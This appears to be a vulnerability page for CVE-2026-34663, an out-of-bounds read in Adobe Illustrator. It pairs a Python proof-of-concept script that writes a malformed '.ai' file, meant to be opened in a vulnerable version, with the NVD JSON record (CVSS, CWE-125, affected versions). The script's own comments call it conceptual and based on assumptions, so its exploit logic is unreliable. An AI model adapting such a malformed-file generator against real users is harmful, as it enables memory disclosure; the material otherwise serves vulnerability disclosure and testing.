CVE-2026-34663

import struct # PoC for Adobe Illustrator Out-of-Bounds Read (CVE-2026-34663) # This script generates a malformed file designed to trigger the vulnerability. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a basic header (AI format usually starts with %!PS-Adobe) f.write(b'%!PS-Adobe-3.0\n') # Write a malformed block header # Assuming a specific block structure where 'length' is not validated block_id = 0x4D4C4252 # Example Block ID malicious_length = 0xFFFFFFFF # Large length to trigger OOB read data_size = 0x00000010 f.write(struct.pack('<I', block_id)) f.write(struct.pack('<I', malicious_length)) # Malformed length f.write(struct.pack('<I', data_size)) # Padding data f.write(b'A' * 0x10) # Write specific malformed data that might trigger parsing logic # This is a conceptual representation f.write(b'\x00' * 100) print("[*] Generating malicious Illustrator file...") generate_malicious_file("cve_2026_34663_poc.ai") print("[+] File created: cve_2026_34663_poc.ai") print("[*] Open this file in a vulnerable version of Adobe Illustrator to test.")

{"cve": {"id": "CVE-2026-34663", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:11.253", "lastModified": "2026-05-12T19:13:59.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 29.8.6, 30.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.7", "matchCriteriaId": "56AE3CDD-A779-4A9D-A50B-C956B3311FB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "30.0", "versionEndExcluding": "30.4", "matchCriteriaId": "2B1BBF11-4ED3-463B-A870-05A929AFAFFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb26-51.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}